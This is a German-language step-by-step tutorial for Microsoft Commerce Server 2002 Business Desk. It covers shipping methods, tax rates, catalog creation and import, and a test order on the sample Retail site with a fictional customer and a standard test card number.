Bevor Sie das Lernprogramm ausführen können, muss Ihr Systemadministrator die Beispielbilddateien im Ordner <Laufwerk>:\Programme\Microsoft Commerce Server 2002\Documentation in den Ordner <Laufwerk>:\Inetpub\wwwroot\Retail\Images\Catalog kopieren. Kopieren Sie alle Dateien mit der Dateierweiterung .gif.

Dadurch können Sie die Anzeigen betrachten, nachdem Sie sie im Lernprogramm erstellt haben.


Zugreifen auf Datenquellen für das Lernprogramm über Domänengrenzen hinweg

Wenn Datenquellen vorhanden sind, die sich in einer anderen Domäne befinden als der, bei der Sie angemeldet sind (z. B. SQL Server), führen Sie auf Ihrem Business Desk-Clientcomputer den folgenden Schritt aus. Falls Sie nicht über die entsprechenden Informationen verfügen, setzen Sie sich mit Ihrem Systemadministrator in Verbindung.

So greifen Sie über Domänen hinweg auf Datenquellen zu

  1. Klicken Sie auf dem Computer oder Server, der den Business Desk-Client bereitstellt, im Internet Explorer auf Extras und dann auf Internetoptionen.
  2. Klicken Sie im Dialogfeld Internetoptionen auf der Registerkarte Sicherheit auf Stufe anpassen.
  3. Führen Sie im Dialogfeld Sicherheitseinstellungen folgende Schritte aus:
    Funktion | Aktion
    Verschiedenes > Auf Datenquellen über Domänengrenzen hinweg zugreifen | Wählen Sie Aktivieren aus.
    Subframes zwischen verschiedenen Domänen bewegen | Wählen Sie Aktivieren aus.
  4. Klicken Sie auf OK.
  5. Klicken Sie im Dialogfeld zur Bestätigung auf Ja.
  6. Klicken Sie im Dialogfeld Internetoptionen auf OK.
  7. Schließen Sie das Browserfenster.

Der Computer kann jetzt auf Datenquellen über Domänengrenzen hinweg zugreifen.


Kurs 1: Erstellen des Katalogs

Voraussichtliche Dauer: 60 Minuten

Szenario: Da Sie sowohl an Kunden in Deutschland als auch in den USA liefern, müssen Sie Versandarten für zwei Gebietsschemas erstellen. Sie müssen den vorhandenen Adventure Works-Katalog importieren und einen neuen Katalog für Campingkarten erstellen. Ihr Unternehmen hat eine neue Buchabteilung, die Bücher zum Thema Camping und Survival, Karten und andere Informationsmaterialien zum Thema Camping anbietet. Ihre Kunden sollen auch in der Lage sein, Suchläufe in beiden Katalogen durchzuführen.

In diesem Kurs werden Sie folgende Schritte durchführen:

  • Hinzufügen von Versandarten und Steuersätzen
  • Erstellen eines neuen Buchkatalogs und Übertragen der Produkte in den Katalog
  • Importieren des vorhandenen Katalogs (AdvWrksCatalog.xml)
  • Erstellen eines virtuellen Katalogs, der den neuen Katalog und den Adventure Works-Katalog enthält
  • Adressieren der Produkte an Benutzer
  • Hinzufügen von Sitebegriffen und neuen Benutzern

In den folgenden Kursen erstellen Sie Anzeigenkampagnen, um die Verkäufe über Ihre Kataloge anzukurbeln. Danach werden Sie Berichte ausführen, um die Steigerung der Verkäufe und die Effektivität Ihrer Anzeigenkampagnen beurteilen zu können.

Im Folgenden sind die Lektionen dieses Kurses aufgelistet. Die Lektionen bauen jeweils aufeinander auf, sodass sie in der vorgegebenen Reihenfolge durchgearbeitet werden sollten.

  • Lektion 1: Hinzufügen einer Versandart und eines Steuersatzes
  • Lektion 2: Erstellen eines Basiskatalogs
  • Lektion 3: Importieren eines Katalogs
  • Lektion 4: Erstellen eines virtuellen Katalogs
  • Lektion 5: Adressieren der Produkte an Benutzer
  • Lektion 6: Hinzufügen eines Benutzers mit einem neuen Profil


Lektion 1: Hinzufügen einer Versandart und eines Steuersatzes

Bevor Kunden Artikel aus Ihrem Onlinekatalog bestellen können, müssen Sie die Versandarten und die Steuersätze einrichten. Da Sie die Campingartikel an Kunden in Deutschland und den USA verkaufen möchten, müssen Sie die Versandarten und -kosten von Transportunternehmen hinzufügen, die sowohl innerhalb von Deutschland als auch in die USA liefern. Die Bestellmodule von Commerce Server Business Desk ermöglichen Ihnen das Hinzufügen und Ändern von Versandarten sowie das Einrichten von Steuersätzen für unterschiedliche Länder/Regionen und Rechtssprechungen.

In dieser Lektion werden Sie folgende Schritte ausführen:

  • Schritt 1: Hinzufügen einer Versandart
  • Schritt 2: Hinzufügen einer Versandart für ein anderes Gebietsschema
  • Schritt 3: Hinzufügen eines Steuersatzes
  • Schritt 4: Hinzufügen eines Steuersatzes für ein anderes Gebietsschema
  • Schritt 5: Veröffentlichen der Bestellcodes


Schritt 1: Hinzufügen einer Versandart

  1. Öffnen Sie über das Menü Start oder vom Desktop aus Business Desk – Retail.
  2. Klicken Sie im Menü Bestellungen auf Versandarten.
  3. Klicken Sie im Bildschirm Versandarten auf der Symbolleiste auf Neu, und wählen Sie anschließend in der Dropdownliste die Option Gebühr nach Zwischensumme aus.
  4. Führen Sie im Bildschirm Nach Zwischensumme berechnen – Neu im Bereich Versandarteigenschaften folgende Schritte aus:
    Funktion | Aktion
    Sprache | Wählen Sie in der Dropdownliste die Option Deutsch (Deutschland) aus.
    Name | Geben Sie Blue Yonder Airlines ein.
    Beschreibung | Geben Sie Wir versenden den Artikel für Sie ein.
    Aktiviert | Stellen Sie sicher, dass das Kontrollkästchen Versandart aktiviert aktiviert ist.
  5. Klicken Sie im Bereich Tarife auf Neu, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Preis bis zu | Geben Sie 10 ein.
    Versandkosten | Geben Sie 5 ein.
  6. Klicken Sie auf Annehmen.
  7. Wenn Sie weitere Versandkosten hinzufügen möchten, klicken Sie auf Neu und führen anschließend folgende Schritte aus:
    Funktion | Aktion
    Preis bis zu | Geben Sie 20 ein.
    Versandkosten | Geben Sie 10 ein.
  8. Klicken Sie auf Annehmen.
  9. Führen Sie nun folgende Schritte aus, um die Versandkosten für Preise über 20 hinzuzufügen:
    Funktion | Aktion
    Preis bis zu | Doppelklicken Sie auf über 20, um das Feld Versandkosten verfügbar zu machen.
    Versandkosten | Geben Sie 15 ein.
  10. Klicken Sie auf Annehmen.

    Die neuen Versandkosten werden nach der Zwischensumme berechnet.

  11. Klicken Sie auf Speichern und zurück, um die neuen Versandkosten zu speichern und zum Bildschirm Versandarten zurückzukehren.

Sie haben nun eine Versandart für Produkte hinzugefügt, die an Orte in Deutschland geliefert werden. Fahren Sie mit Schritt 2: Hinzufügen einer Versandart für ein anderes Gebietsschema fort, bei dem Sie eine Versandart für Produkte hinzufügen werden, die an Orte in den USA geliefert werden.


Schritt 2: Hinzufügen einer Versandart für ein anderes Gebietsschema

  1. Klicken Sie im Menü Bestellungen auf Versandarten.
  2. Klicken Sie im Bildschirm Versandarten auf der Symbolleiste auf Neu, und wählen Sie anschließend in der Dropdownliste die Option Gebühr nach Zwischensumme aus.
  3. Führen Sie im Bildschirm Nach Zwischensumme berechnen – Neu im Bereich Versandarteigenschaften folgende Schritte aus:
    Funktion | Aktion
    Sprache | Wählen Sie in der Dropdownliste die Option Englisch (USA) aus.
    Name | Geben Sie Blue Yonder Airlines ein.
    Beschreibung | Geben Sie We will ship anything ein.
    Aktiviert | Stellen Sie sicher, dass das Kontrollkästchen Versandart aktiviert aktiviert ist.
  4. Klicken Sie im Bereich Tarife auf Neu, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Preis bis zu | Geben Sie 10 ein.
    Versandkosten | Geben Sie 5 ein.
  5. Klicken Sie auf Annehmen.
  6. Wenn Sie weitere Versandkosten hinzufügen möchten, klicken Sie auf Neu und führen anschließend folgende Schritte aus:
    Funktion | Aktion
    Preis bis zu | Geben Sie 20 ein.
    Versandkosten | Geben Sie 10 ein.
  7. Klicken Sie auf Annehmen.
  8. Führen Sie nun folgende Schritte aus, um die Versandkosten für Preise über 20 hinzuzufügen:
    Funktion | Aktion
    Preis bis zu | Doppelklicken Sie auf über 20, um das Feld Versandkosten verfügbar zu machen.
    Versandkosten | Geben Sie 15 ein.
  9. Klicken Sie auf Annehmen.

    Die neuen Versandkosten für den englischen Sprachraum werden nach der Zwischensumme berechnet.

  10. Klicken Sie auf Speichern und zurück, um die neuen Versandkosten zu speichern und zum Bildschirm Versandarten zurückzukehren.
  11. Um zu überprüfen, ob eine Versandart und die Versandkosten für diese Sprache hinzugefügt wurden, wählen Sie im oberen Teil des Bildschirms aus der Dropdownliste die Option Englisch (USA) aus. Blue Yonder Airlines wird mit der Beschreibung We will ship anything in der Liste der Versandarten angezeigt.

    Die Versandkosten werden gespeichert und bei allen Käufen in der Retail-Site nach der Zwischensumme berechnet.

Sie haben nun eine Versandart für Produkte hinzugefügt, die an Orte in den USA geliefert werden. Fahren Sie mit Schritt 3: Hinzufügen eines Steuersatzes fort, bei dem Sie einen Steuersatz hinzufügen, der den Bestellungen aus Deutschland zugeordnet wird.


Schritt 3: Hinzufügen eines Steuersatzes

  1. Klicken Sie im Menü Bestellungen auf Steuersätze.
  2. Klicken Sie im Bildschirm Steuer auf Neu, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Land/Region | Wählen Sie in der Dropdownliste Deutschland aus.
    Bundesland/Kanton | Wählen Sie in der Dropdownliste Alle Bundesländer/Kantone aus.
    Steuersatz (%) | Geben Sie 10 ein.
  3. Klicken Sie auf Annehmen.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den neuen Steuersatz zu speichern und zum Bildschirm Commerce Server: Willkommen bei Business Desk zurückzukehren.

Der Steuersatz wird gespeichert und auf alle Produkte angewendet, die in bestimmte Bundesländer in Deutschland geliefert werden.

Sie haben nun einen Steuersatz für Produkte hinzugefügt, die an Orte in Deutschland geliefert werden. Fahren Sie mit Schritt 4: Hinzufügen eines Steuersatzes für ein anderes Gebietsschema fort, bei dem Sie einen Steuersatz hinzufügen, der den Bestellungen aus den USA zugeordnet wird.


Schritt 4: Hinzufügen eines Steuersatzes für ein anderes Gebietsschema

  1. Klicken Sie im Menü Bestellungen auf Steuersätze.
  2. Klicken Sie im Bildschirm Steuer auf Neu, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Land/Region | Wählen Sie in der Dropdownliste die Option Vereinigte Staaten von Amerika aus.
    Bundesland/Kanton | Wählen Sie in der Dropdownliste die Option Washington aus.
    Steuersatz (%) | Geben Sie 5 ein.
  3. Klicken Sie auf Annehmen.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den neuen Steuersatz zu speichern und zum Bildschirm Commerce Server: Willkommen bei Business Desk zurückzukehren.

Der Steuersatz wird gespeichert und auf alle Produkte angewendet, die in den US-Bundesstaat Washington geliefert werden. Fahren Sie mit Schritt 5: Veröffentlichen der Bestellcodes fort, um die Versandarten und Steuersätze in der Retail-Website zu veröffentlichen.


Schritt 5: Veröffentlichen der Bestellcodes

Wenn auf die Retail-Site zugegriffen wurde, bevor Sie im Zuge dieses Kurses die Versandart und den Steuersatz erstellt haben, müssen Sie die Versandart und den Steuersatz in der Retail-Site veröffentlichen. So ist es z. B. möglich, dass der Systemadministrator beim Einrichten dieses Lernprogramms auf die Retail-Site zugegriffen hat.

  1. Klicken Sie im Menü Bestellungen auf Bestellcodes veröffentlichen.

    Hinweis

    • Wenn in der Liste Produktionsartikel des Bildschirms Bestellcodes veröffentlichen keine Artikel angezeigt werden, müssen Sie Ihre Bestellcodes veröffentlichen. Wechseln Sie in diesem Fall zu Lektion 2: Erstellen eines Basiskatalogs. Andernfalls fahren Sie mit dem nächsten Schritt fort.
  2. Wählen Sie im Bildschirm Bestellcodes veröffentlichen alle Produktionsartikel aus, die Sie erstellt haben (Versandarten und Steuersätze).
  3. Klicken Sie auf der Symbolleiste auf Veröffentlichen.

    Hinweis

    • Wenn das Dialogfeld Business Desk: Fehler angezeigt wird, klicken Sie auf OK.

Die Versandarten und Steuersätze werden an Ihren Webserver gesendet und stehen dann auf der Retail-Site zur Verfügung. Nachdem Sie Kurs 1 abgeschlossen haben, werden Sie Ihre Retail-Site öffnen und durch Erstellen einer Bestellung überprüfen, ob die Versandarten und Steuersätze zur Site hinzugefügt wurden. Fahren Sie mit Lektion 2: Erstellen eines Basiskatalogs fort.


Lektion 2: Erstellen eines Basiskatalogs

Szenario: Sie erstellen einen neuen Basiskatalog, den Sie Campingkarten nennen werden. Zunächst müssen Sie Eigenschaftsdefinitionen für die Karte sowie Kartenprodukte erstellen. Eine Karteneigenschaft kann z. B. "Kartentitel" lauten, und ein mögliches Kartenprodukt wäre "Wanderkarte Bayerischer Wald".

Nachdem Sie die Eigenschaften und Produkte für Ihren Katalog hinzugefügt haben, erstellen Sie den neuen Basiskatalog Campingkarten.

In dieser Lektion werden Sie folgende Schritte ausführen:

  • Schritt 1: Erstellen von Eigenschaftsdefinitionen
  • Schritt 2: Hinzufügen von Produktdefinitionen
  • Schritt 3: Erstellen eines neuen Basiskatalogs


Schritt 1: Erstellen von Eigenschaftsdefinitionen

  1. Öffnen Sie über das Menü Start oder vom Desktop aus Business Desk – Retail.
  2. Klicken Sie im Modul "Kataloge" auf Katalogdefinitions-Designer.
  3. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen auf der Symbolleiste auf Anzeigen. Wählen Sie dann aus der Dropdownliste die Option Eigenschaftsdefinitionen.
  4. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Eigenschaftsdefinitionen auf der Symbolleiste auf Neu. Wählen Sie dann aus der Dropdownliste die Option Text aus.
  5. Führen Sie im Bildschirm Eigenschaftsdefinition: Neu (Text) im Bereich Eigenschaften folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Kartentitel ein.
    In der Site anzeigen | Aktivieren Sie das Kontrollkästchen Ja.
    In Produktliste anzeigen | Aktivieren Sie das Kontrollkästchen Ja, um die Eigenschaftsdefinition in der Produktliste anzuzeigen.

    Hinweis

    • Im Bildschirm Eigenschaftsdefinition: Neu (Text) sind die Standardwerte eingestellt.
  6. Klicken Sie im Bildschirm Eigenschaftsdefinition: Neu (Text) im Bereich Namen anzeigen auf Neu, und führen Sie dann folgende Schritte aus:
    Funktion | Aktion
    Sprache | Wählen Sie in der Dropdownliste die Option Deutsch (Deutschland) aus.
    Angezeigter Name | Geben Sie Kartentitel ein.
  7. Klicken Sie auf Annehmen.
  8. Klicken Sie auf der Symbolleiste auf Speichern und neu, um die neue Eigenschaftsdefinition zu speichern und eine weitere zu erstellen.

    Daraufhin wird die Meldung Wird gespeichert, bitte warten... und anschließend das Dialogfeld Neue Eigenschaftsdefinition angezeigt.

  9. Wählen Sie im Dialogfeld Neue Eigenschaftsdefinition in der Liste Typ die Option Text aus, und klicken Sie anschließend auf Weiter.
  10. Führen Sie im Bildschirm Eigenschaftsdefinition: Neu (Text) im Bereich Eigenschaften folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Kartenregion ein.
    In der Site anzeigen | Aktivieren Sie das Kontrollkästchen Ja.
    In Produktliste anzeigen | Aktivieren Sie das Kontrollkästchen Ja, um die Eigenschaftsdefinition in der Produktliste anzuzeigen.

    Hinweis

    • Im Bildschirm Eigenschaftsdefinition: Neu (Text) sind die Standardwerte eingestellt.
  11. Klicken Sie im Bildschirm Eigenschaftsdefinition: Neu (Text) im Bereich Namen anzeigen auf Neu, und führen Sie dann folgende Schritte aus:
    Funktion | Aktion
    Sprache | Wählen Sie in der Dropdownliste die Option Deutsch (Deutschland) aus.
    Angezeigter Name | Geben Sie Kartenregion ein.
  12. Klicken Sie auf Annehmen.
  13. Klicken Sie auf der Symbolleiste auf Speichern und neu, um die neue Eigenschaftsdefinition zu speichern und eine weitere zu erstellen.

    Daraufhin wird die Meldung Wird gespeichert, bitte warten... und anschließend das Dialogfeld Neue Eigenschaftsdefinition angezeigt.

  14. Wählen Sie im Dialogfeld Neue Eigenschaftsdefinition in der Liste Typ die Option Text, und klicken Sie anschließend auf Weiter.
  15. Führen Sie im Bildschirm Eigenschaftsdefinition: Neu (Text) im Bereich Eigenschaften folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie KartenISBN ein.
    In der Site anzeigen | Aktivieren Sie das Kontrollkästchen Ja.
    Mittels Drilldownsuche auffindbar | Deaktivieren sie das Kontrollkästchen Ja.
    Minimallänge | Geben Sie 10 ein.
    Maximallänge | Geben Sie 20 ein.
    Daten für Analyse speichern | Aktivieren Sie das Kontrollkästchen Ja.
    In Produktliste anzeigen | Aktivieren Sie das Kontrollkästchen Ja.

    Hinweis

    • Im Bildschirm Eigenschaftsdefinition: Neu (Text) sind die Standardwerte eingestellt.
  16. Klicken Sie im Bildschirm Eigenschaftsdefinition: Neu (Text) im Bereich Namen anzeigen auf Neu, und führen Sie dann folgende Schritte aus:
    Funktion | Aktion
    Sprache | Wählen Sie in der Dropdownliste die Option Deutsch (Deutschland) aus.
    Angezeigter Name | Geben Sie ISBN der Karte ein.
  17. Klicken Sie auf Annehmen.
  18. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die neue Eigenschaftsdefinition zu speichern und zum Bildschirm Katalogdefinitions-Designer: Eigenschaftsdefinitionen zurückzukehren.

Die neuen Eigenschaftsdefinitionen werden gespeichert. Fahren Sie mit Schritt 2: Hinzufügen von Produktdefinitionen fort. Dabei erstellen Sie eine Produktdefinition, die die in Schritt 1 erstellten Eigenschaftsdefinitionen enthält.


Schritt 2: Hinzufügen von Produktdefinitionen

  1. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Eigenschaftsdefinitionen auf der Symbolleiste auf Anzeigen. Wählen Sie dann in der Dropdownliste die Option Produktdefinitionen aus.
  2. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Produktdefinitionen auf der Symbolleiste auf Neu.
  3. Geben Sie im Bereich Produktdefinitionseigenschaften des Bildschirms Produktdefinition: Neu im Feld Name den Namen Wanderkarte ein.
  4. Ziehen Sie im Bereich Produkteigenschaften der Liste Verfügbare Eigenschaften das Bildlauffeld nach unten, um KartenISBN, Kartenregion und Kartentitel anzuzeigen.
  5. Halten Sie die STRG-Taste gedrückt, und klicken Sie auf KartenISBN, Kartenregion und Kartentitel. Lassen Sie die STRG-Taste wieder los, und klicken Sie auf Hinzufügen.

    Die ausgewählten Eigenschaften werden in das Feld Zugewiesene Eigenschaften verschoben.

    Hinweis

    • Die im Feld Zugewiesene Eigenschaften grau hinterlegt angezeigten Einträge sind die Standardprodukteigenschaften.
  6. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die neuen Produktdefinitionen zu speichern und zum Bildschirm Katalogdefinitions-Designer: Produktdefinitionen zurückzukehren.

    Die Produktdefinition Wanderkarte wird im Feld Name angezeigt.

  7. Erweitern Sie die Produktdefinition Wanderkarte.

Die Eigenschaften KartenISBN, Kartenregion, Kartentitel sowie standardmäßige Produkteigenschaften werden als Eigenschaften unter der Produktdefinition Wanderkarte angezeigt. Fahren Sie mit Schritt 3: Erstellen eines neuen Basiskatalogs fort.


Schritt 3: Erstellen eines neuen Basiskatalogs

  1. Klicken Sie im Modul "Kataloge" auf Katalog-Editor.
  2. Klicken Sie im Bildschirm Kataloge auf der Symbolleiste auf Neu, und wählen Sie anschließend in der Dropdownliste die Option Neuer Basiskatalog aus.
  3. Führen Sie im Bildschirm Katalogeigenschaften – Neuer Basiskatalog im Bereich Katalogeigenschaften die folgenden Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Campingkarten ein.
    Währung | Wählen Sie in der Dropdownliste die Option Euro – EUR aus.
    Eindeutige Produkt-ID | Wählen Sie in der Dropdownliste die Option KartenISBN aus.
    Eindeutige Produktvarianten-ID | Wählen Sie in der Dropdownliste die Option KartenISBN aus.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Katalogeigenschaften zu speichern.

Die Katalogeigenschaften werden mit dem neuen Basiskatalog gespeichert. Fahren Sie mit Lektion 3: Importieren eines Katalogs fort, in der Sie den Adventure Works-Katalog in Business Desk importieren werden.


Lektion 3: Importieren eines Katalogs

Szenario: Sie müssen den Basiskatalog (Adventure Works) in Business Desk importieren, damit Sie den Katalog in Ihrer Website veröffentlichen und die Site als Onlinekäufer testen können. Verwenden Sie in Business Desk das Modul "Katalog-Editor", um mit Kategorien und Katalogen zu arbeiten. Sie können Kategorien neu erstellen, ändern bzw. löschen und Kataloge löschen.

Sie haben die Möglichkeit, einen Katalog entweder aus einer XML-(Extensible Markup Language-) oder einer CSV-Datei (durch Trennzeichen getrennten Datei) zu importieren.

In dieser Lektion werden Sie die Katalogdatei AdvWorksCatalog.xml importieren. Anschließend testen Sie die Website. Dafür werden Sie die Website besuchen und mit einer Freitextsuche nach Schuhen und verwandten Produkten suchen. Wenn Sie ein Produkt gefunden haben, das mit Ihren Suchkriterien übereinstimmt, werden Sie es zu Ihrem Warenkorb hinzufügen und eine Bestellung abschließen.

In dieser Lektion werden Sie folgende Schritte ausführen:

  • Schritt 1: Importieren des Adventure Works-Katalogs
  • Schritt 2: Aktualisieren und Veröffentlichen des Katalogs
  • Schritt 3: Suchen nach Schuhen mithilfe der Freitextsuche
  • Schritt 4: Bestellen von Schuhen über die Site


Schritt 1: Importieren des Adventure Works-Katalogs

  1. Öffnen Sie über das Menü Start oder vom Desktop aus Business Desk – Retail.
  2. Klicken Sie im Modul "Kataloge" auf Katalog-Editor.
  3. Klicken Sie im Bildschirm Kataloge auf der Symbolleiste auf Importieren. Wählen Sie dann in der Dropdownliste die Option XML-Datei importieren aus.

    Hinweis

    • Wenn Sie auf Business Desk von einem anderen Computer als dem zugreifen, auf dem Commerce Server installiert ist, führen Sie Schritt 4 aus. Wenn Sie auf Business Desk von dem Computer aus zugreifen, auf dem Commerce Server installiert ist, fahren Sie mit Schritt 5 fort.
  4. Führen Sie im Dialogfeld XML-Katalog importieren folgende Schritte aus:
    Funktion | Aktion
    Dateiname | Wählen Sie die Option Geben Sie eine XML-Datei auf dem Server an aus.
    Geben Sie eine XML-Datei auf dem Server an Geben Sie \\<Computername>\<Laufwerk>\Programme\Microsoft Commerce Server 2002\SDK\Samples\Auction\AdvWorksCatalog.xml ein, wobei <Computername> für den Namen des Computers, auf dem Commerce Server läuft, und <Laufwerk> für das Laufwerk steht, auf dem Windows 2000 installiert ist.

    Hinweis

    • Die Verwendung dieses UNC-Pfades setzt voraus, dass Sie Administratorrechte auf dem Computer besitzen, auf dem Commerce Server ausgeführt wird.
    Vorhandene Daten im Katalog löschen | Stellen Sie sicher, dass dieses Kontrollkästchen deaktiviert ist.
    XML-Datei überprüfen (nicht importieren) | Stellen Sie sicher, dass dieses Kontrollkästchen deaktiviert ist.

    Da Sie auf Business Desk von einem anderen Computer als dem Server aus zugreifen, müssen Sie Schritt 5 nicht ausführen. Fahren Sie mit Schritt 6 fort.

  5. Führen Sie im Dialogfeld XML-Katalog importieren folgende Schritte aus:
    Funktion | Aktion
    Dateiname | Wählen Sie die Option Geben Sie eine lokal verfügbare XML-Datei an aus.
    Geben Sie eine lokal verfügbare XML-Datei an | Geben Sie <Laufwerk>:\Programme\Microsoft Commerce Server 2002\SDK\Samples\Auction\AdvWorksCatalog.xml ein.
    Vorhandene Daten im Katalog löschen | Stellen Sie sicher, dass dieses Kontrollkästchen deaktiviert ist.
    XML-Datei überprüfen (nicht importieren) | Stellen Sie sicher, dass dieses Kontrollkästchen deaktiviert ist.
  6. Klicken Sie im Bildschirm XML-Katalog importieren auf OK.
  7. Klicken Sie im Dialogfeld Business Desk: XML-Katalog importieren auf OK.

    Der Import des Adventure Works-Katalogs wird gestartet. Der Importstatus wird auf der Statusleiste angezeigt, die sich im unteren Bereich des Bildschirms Kataloge befindet. Nach Abschluss des Importvorgangs wird die Meldung Katalogimport abgeschlossen angezeigt, um den Benutzer darüber zu informieren, dass der Adventure Works-Katalog in die Retail-Site importiert wurde.

    Hinweis
  • Der Adventure Works-Katalog wird erst im Feld Name des Katalog-Editors angezeigt, nachdem der Bildschirm Kataloge aktualisiert wurde.
  1. Um den Bildschirm Kataloge zu aktualisieren, klicken Sie im Modul "Kataloge" auf Katalog-Editor.

Daraufhin wird der Bildschirm Kataloge aktualisiert, und der Adventure Works-Katalog wird in der Liste Gefilterte Ansicht angezeigt. Sie haben nun den Adventure Works-Katalog in Business Desk importiert. Fahren Sie mit Schritt 2: Aktualisieren und Veröffentlichen des Katalogs fort.


Schritt 2: Aktualisieren und Veröffentlichen des Katalogs

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.

    Während der Aktualisierung wird auf dem Bildschirm evtl. die Meldung Katalogimport wird ausgeführt angezeigt.

  2. Wenn die Meldung Katalogimport wird ausgeführt ausgeblendet wird, klicken Sie auf der Symbolleiste auf Aktualisieren.

    Die Meldung Kataloge werden aktualisiert wird angezeigt. Warten Sie einige Sekunden, bis der Katalog aktualisiert und in Ihrer Site veröffentlicht wird, bevor Sie mit dem nächsten Schritt fortfahren.

  3. Um den Bildschirm zu aktualisieren, klicken Sie im Modul "Kataloge" auf Katalog-Editor.

    Der Bildschirm wird aktualisiert, und der aktualisierte Katalog wird in Ihrer Website veröffentlicht.

    Hinweis

    • Wenn Sie versuchen sollten, bereits vor Abschluss der Katalogveröffentlichung auf die Site zuzugreifen, wird der Zugriff mit einer Meldung darüber verweigert, dass der Server neu gestartet wird.

Fahren Sie mit Schritt 3: Suchen nach Schuhen mithilfe der Freitextsuche fort.


Schritt 3: Suchen nach Schuhen mithilfe der Freitextsuche

Um diesen Schritt ausführen zu können, müssen Sie die Retail-Site über einen Webbrowser, beispielsweise Microsoft Internet Explorer, aufrufen. Commerce Server unterstützt Internet Explorer 5.5 mit Service Pack 2 oder höher.

  1. Öffnen Sie die Retail-Site in Ihrem Browser. Geben Sie dafür in der Adresszeile von Internet Explorer http://<Servername>/retail ein. Hierbei ist <Servername> der Name des Computers, der als Host für Ihre Retail-Site fungiert. Wenn Sie den Namen des Servers nicht kennen, wenden Sie sich an Ihren Systemadministrator.
  2. Geben Sie im Feld Produktsuche den Suchbegriff Kletterschuhe ein, und klicken Sie anschließend auf Suchen.

    Im Bildschirm Suchergebnisse wird die Kategorie Kletterschuhe angezeigt.

  3. Klicken Sie auf Kletterschuhe.

    In der Kategorie Kletterschuhe wird eine Produktliste mit verschiedenen Modellen von Wanderschuhen angezeigt:

    • Morro
    • Plymouth
    • Toskana

Sie haben nun Schuhe mithilfe der Freitextsuche gesucht. Fahren Sie mit Schritt 4: Bestellen von Schuhen über die Site fort.


Schritt 4: Bestellen von Schuhen über die Site

  1. Klicken Sie im Bildschirm Kletterschuhe auf Toskana, dann auf Zum Warenkorb hinzufügen und schließlich in der Kopfzeile des Bildschirms auf Warenkorb.

    Der Bildschirm Warenkorb wird angezeigt.

  2. Klicken Sie im Bildschirm Warenkorb auf Auschecken.

    Der Bildschirm Lieferadresse wird angezeigt.

  3. Führen Sie im Bildschirm Versandadresse folgende Schritte aus:
    Funktion | Aktion
    Nachname | Geben Sie Kunze ein.
    Vorname | Geben Sie Cornelia ein.
    Adresszeile 1 | Geben Sie Hauptstraße 6789 ein.
    Ort | Geben Sie Bonn ein.
    Bundesland/Kanton | Geben Sie Nordrhein-Westfalen ein.
    PLZ | Geben Sie 50789 ein.
    Land/Region | Wählen Sie in der Dropdownliste Deutschland aus.
    Die Rechnungsadresse ist die gleiche | Dieses Kontrollkästchen muss aktiviert sein.
  4. Klicken Sie auf Absenden.

    Der Bildschirm Versandoptionen wird angezeigt.

  5. Wählen Sie im Bildschirm Versandoptionen die Option Blue Yonder Airlines mit der Beschreibung Wir versenden den Artikel für Sie aus, und klicken Sie auf Auschecken.

    Der Bildschirm Bestellzusammenfassung wird angezeigt. Überprüfen Sie in diesem Bildschirm, ob die Versandkosten mit 15 € und der Steuerbetrag mit 10 Prozent der Zwischensumme angegeben sind.

  6. Klicken Sie im Bildschirm Bestellzusammenfassung auf Auschecken.

    Der Bildschirm Kreditkarte wird angezeigt.

  7. Führen Sie im Bildschirm Kreditkarte folgende Schritte aus:
    Funktion | Aktion
    Name auf Karte | Geben Sie Cornelia Kunze ein.
    Kartennummer | Geben Sie die Kartennummer 4111-1111-1111-1111 ein.
    Typ | Wählen Sie in der Dropdownliste die Option VISA aus.
    Ablaufmonat | Wählen Sie in der Dropdownliste die Option Oktober aus.
    Ablaufjahr | Wählen Sie in der Dropdownliste die Option 2005 aus.
  8. Klicken Sie auf Absenden.

    Der Bildschirm Bestellbestätigung mit der Bestellnummer wird angezeigt.

  9. Schließen Sie das Browserfenster.

Sie haben nun Schuhe über die Retail-Site bestellt. Fahren Sie mit Lektion 4: Erstellen eines virtuellen Katalogs fort, in der Sie einen virtuellen Katalog erstellen werden, der die Basiskataloge Campingkarten und Adventure Works enthält.


Lektion 4: Erstellen eines virtuellen Katalogs

Szenario: Sie möchten Ihren Kunden ermöglichen, Produkte aus den Katalogen Campingkarten und Adventure Works bequem anzuzeigen und zu bestellen. Dafür erstellen Sie einen virtuellen Katalog, der beide Kataloge enthält. Durch das Erstellen eines virtuellen Katalogs sind Sie in der Lage, die ursprünglichen Kataloge als Unterkataloge beizubehalten, sodass Sie für jeden einzelnen Katalog spezielle Rabatte anbieten können. Wenn Sie ein Produkt zum Basiskatalog Campingkarten hinzufügen, wird das Produkt in diesem Lernprogramm aufgrund der Art der angewendeten Einschlussregel ebenfalls im zugeordneten virtuellen Katalog angezeigt.

In dieser Lektion werden Sie einen virtuellen Katalog erstellen und dem virtuellen Katalog Ihre zwei Basiskataloge hinzufügen. Darüber hinaus werden Sie Währungs- und Preisberechnungsregeln festlegen.

In dieser Lektion werden Sie folgende Schritte ausführen:

  • Schritt 1: Erstellen eines neuen virtuellen Katalogs
  • Schritt 2: Einschließen von Basiskatalogen in den virtuellen Katalog
  • Schritt 3: Erneutes Erstellen des virtuellen Katalogs "Karten und Camping"
  • Schritt 4: Hinzufügen von Preisberechnungsregeln zum Katalog "Karten und Camping"
  • Schritt 5: Hinzufügen einer neuen Kategorie zum Katalog "Campingkarten"
  • Schritt 6: Hinzufügen neuer Produkte zum Katalog "Campingkarten"
  • Schritt 7: Hinzufügen eines weiteren Produkts zum Katalog "Campingkarten"
